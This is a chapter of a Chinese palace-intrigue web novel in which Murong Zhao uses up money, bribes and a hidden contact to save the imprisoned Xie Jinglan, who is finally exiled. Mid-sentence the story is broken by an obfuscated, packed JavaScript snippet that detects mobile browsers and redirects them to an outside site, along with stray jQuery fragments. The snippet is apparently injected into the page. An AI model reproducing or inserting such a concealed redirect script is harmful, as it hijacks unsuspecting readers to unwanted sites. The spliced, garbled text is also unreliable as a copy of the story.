密室里的烛火被剪得只剩豆大一点。桌旁坐着三人：慕容昭、陆沉舟，以及容璎派来的那位从不开口、只以手势和眼神交流的哑仆。


    “惊澜必须活着出狱。”慕容昭的声音压得极低，在寂静的密室里清晰可闻，“劫狱动静太大，等于自投罗网。我们要用规矩救人，在规矩的缝隙里争一条活路。”


    陆沉舟双手握拳放在膝上，指节捏得发白。哑仆则静静垂着头，双手规规矩矩叠放在身前，仿佛一尊泥塑。


    慕容昭从袖中取出两枚大小相仿的玉佩：一枚完整，另一枚却是半边，断口处的纹路刚好能对上。她将完整的玉佩递给陆沉舟，低声说：“沉舟哥，这玉佩你收好。明日一早，你亲自去城西‘德济堂’药铺，找一个姓陈的老掌柜。不必说话，只将玉佩给他看，他会明白。”


    陆沉舟接过玉佩，入手温润，显然是上等古玉。他重重点头，将玉佩小心收入怀中。


    慕容昭又将那半块玉佩递给哑仆，同时取出一封早已封好的信。信封是寻常家书样式，封口处用普通火漆封着，看不出任何特别。“将这半块玉佩和这封信，送到城南‘永昌布庄’后门，交给一个右耳后有颗黑痣的伙计。记住，只交给那个人，交完立刻离开，莫要多看一眼。”


    哑仆双手接过，仔细收进贴身衣袋，躬身一礼。


    “还有，”慕容昭转向哑仆，声音更低了，几乎只剩气音，“回去告诉容璎，让她准备三笔钱。第一笔走‘老药铺’的账，以‘故人之后探监送药’的名义，送到天牢陈医官手里。第二笔换成不易追查的旧金锭，给狱卒头目‘买酒’。第三笔备着，等流放路线定了，沿途打点。”


    哑仆再次躬身，表示已牢牢记下。


    “去吧。”慕容昭挥了挥手。


    哑仆悄无声息地退了出去，密室门重新关严，几乎听不见声响。


    陆沉舟没有立刻离开，他看向慕容昭，等她接下来的吩咐。


    慕容昭静坐片刻，从怀中贴身暗袋里取出一个油纸小包。揭开油纸，里面是一枚骨制扳指和一张素白小笺。


    她在小笺上飞快写下一行字，字迹极细，用的是一种外人看来毫无章法的排列方式。写罢，她将小笺卷成极细的筒状，塞入一个中指长短的小竹筒内，竹筒口用特制的蜡封好。然后，她用一根极细的银链，将小竹筒和那枚骨扳指系在一起。


    做完这些，她才抬起头，将系着竹筒的扳指递给陆沉舟。


    “沉舟哥，还有最后一件事，只能你亲自去办。”


    陆沉舟双手接过，扳指触手冰凉，带着她指尖微弱的温度。


    “城东‘白云观’后山，第三棵老松树下，从南往北数第九块石头是松的。石头下有个小铁匣，把这扳指和竹筒放进去，原样盖好。”慕容昭盯着他的眼睛，一字一句道，“放好之后立刻离开，不要回头，不要停留，也不要让任何人看见你。这件事，只有你我知道。”


    陆沉舟握紧扳指，冰凉的触感让他精神一凛。他重重点头：“末将明白。必不辱命。”


    “现在就去，趁天还没亮。”


    陆沉舟不再多言，将东西小心收好，转身大步离去。甲叶轻响，很快消失在门外夜色中。


    密室门第三次关合。慕容昭独自坐在昏黄的烛光里，缓缓闭上眼睛。


    她知道，那条代价最高、也最隐秘的线，已经启动了。一旦动用，便再无回头路。


    次日深夜，容璎亲自来了一趟。她扮作送柴妇人的模样，从后角门悄然而入，在密室只待了不到一盏茶的时间。


    “殿下，”容璎的声音干涩，透着深深的疲惫，眼底也带着血丝，“三笔钱都已经安排下去了。老药铺那边，陈医官收下了药材，也明白了意思。狱卒头目老赵那边，醉仙楼的孙二已经把金锭送到了，说是‘故人一点心意’。沿途打点的钱也备好了，只等路线确定。”


    她顿了顿，声音更低，几乎带着一丝颤音：“只是……能动用的现银和库房里那些易于变现的珠宝，已经快要见底了。为了不引起外面注意，云霞台明面上的生意不能停，每日流水进进出出都要维持原样。但……我们真的撑不了太久了。若是再有大笔开销，恐怕得开始抵押城外那几处不易被查的田庄了。”


    慕容昭沉默地听着，脸上没什么表情，只问：“还能撑多久？”


    “最多半个月。还得是没有任何意外开销的情况下。”容璎苦笑道，那笑容里满是无奈，“沈老侯爷那边，哑仆已经把信和半块玉佩送到了。布庄的伙计收了东西，什么都没问。侯爷那边……应该已经收到消息了。”


    “知道了。”慕容昭的声音平静得近乎冷酷，“田庄可以押，但要做得隐秘，不能让人察觉是我们的人在出手。云霞台的生意照旧，该花的钱还得花，不能露出半点窘迫之相。至于能撑多久……尽力而为吧。”


    容璎深深看了她一眼，终究没再说什么，只是极轻地叹了口气，躬身退了出去。


    接下来的日子里，质子府表面平静如常。慕容昭依旧深居简出，偶尔“病恹恹”地出现在人前，依旧是那副对什么都提不起兴趣的模样。只有极少数人知道，一场无声的、耗资巨大的营救正在暗处艰难推进。


    第三天傍晚，陆沉舟带回消息：德济堂的陈掌柜见了玉佩，什么都没说，只点了点头。


    第五天，城南永昌布庄那个右耳后有黑痣的伙计，在收摊时“不小心”打翻了一筐布匹，布匹散落一地，他一边收拾一边低声对等在不远处的哑仆说了两个字：“已办。”


    第七天深夜，陆沉舟再次回报。他一身夜行衣，带着山间的寒气，低声道：“殿下，白云观后山，东西不见了。”


    慕容昭正在灯下看着一份旧舆图，闻言抬起头。


    “周围没有任何人来过的痕迹，”陆沉舟补充道，眉头紧锁，“只有末将自己当初留下的、极隐秘的标记被抹平了。手法很干净。”


    慕容昭沉默了很久。


    烛火在她脸上投下摇曳的光影，让人看不清她眼中的情绪。她知道，东西被人取走了。萧执留下的这条最珍贵、也最危险的线，在她发出那个“东风起，送旧友一程”的指令后，终于被激活了。对方取走信物，便是接下了这笔交易，也意味着这条用一次少一次、甚至可能暴露即招来杀身之祸的保命渠道，从此彻底作废。


    代价已付，路也断了。


    第十


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085724|195362||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天清晨，市井间开始流传一首新的童谣。几个孩童在巷子里拍手唱着，声音清脆却带着一种莫名的寒意：“北风紧，北风紧，送人去边疆——送人去边疆——”


    消息很快传到质子府。


    慕容昭正在书房里整理一些旧书，听到吴师爷低声复述童谣内容时，她的手顿了顿，随即继续将书册归位。动作平稳，不见丝毫颤抖。


    直到将所有书都放好，她才缓缓直起身，走到窗边。


    窗外春光正好，柳絮纷飞，一片融融暖意，却衬得室内愈发寂静清冷。


    陆沉舟不知何时已站在门外，他没有进来，只是隔着门，声音压抑得像蒙了一层厚厚的布：“殿下……童谣……”


    “我听到了。”慕容昭的声音平静得可怕。


    她转过身，看向门外陆沉舟隐约的身影：“流放三千里……我们赌赢了上半局。”


    “赢？”陆沉舟猛地推门进来，双眼赤红，胸脯剧烈起伏，一拳砸在门框上，厚重的木门框发出沉闷的响声，“我们花了这么多银子，动了这么多关系，连萧执留下的最后保命线都用了！就换他去做苦役？这叫赢？”


    慕容昭静静看着他，没有反驳，也没有解释。她的目光落在他砸在门框上的拳头上，那里骨节突出，微微泛红。


    良久，陆沉舟胸口的起伏才渐渐平复。他垂下拳头，声音嘶哑，带着浓重的疲惫与不甘：“末将……失态了。”


    “我知道你心里憋着火。”慕容昭缓缓道，声音里终于有了一丝极淡的波澜，却又迅速沉静下去，“我也一样。但至少，惊澜还活着。只要活着，就还有希望。”


    陆沉舟重重吐出一口气，像要把胸中所有郁结都吐出去。他没有再说话，只是默默站到了一旁。


    几日后，市井间又有传闻，说刑部一位管文书的吴郎中，因“老母病重”辞官归乡了。走得很急，连交接都没好好做，同僚们私下议论，都说他怕是惹了什么麻烦。


    慕容昭听到这个消息时，正在喝一碗清粥。她放下勺子，对侍立一旁的小喜子说：“粥凉了，撤了吧。”


    小喜子应声上前，端起粥碗时，偷偷瞥了一眼自家主子。只见慕容昭望着窗外，眼神平静无波，可那平静底下，仿佛有什么东西正在一寸一寸冻结成冰，坚硬而寒冷。


    那条通过沈擎旧部牵上线、花了大力气才搭上的刑部关系，就这么断了。像投入深潭的石子，连个像样的水花都没溅起。


    而这一切换来的，不过是一纸“流放三千里”的判决。


    代价惨重，几近枯竭。银钱、人情、隐秘的通道，都在这一次营救中消耗殆尽。


    但至少，人还活着。


    只要人还活着，就还有翻盘的希望，就还能等到冰雪消融、种子破土的那一天。


    慕容昭收回目光，重新拿起手边一卷书。书页翻开，上面是谢惊澜早年批注过的字迹，清隽有力，风骨铮然，如见其人。


    她轻轻抚过那些字迹，指尖感受到纸张粗糙的纹理，眼神渐渐沉静下来，如同暴风雪后凝固的湖面。


    上半局结束了。


    下半局，才刚刚开始。而她们手中的筹码，已所剩无几。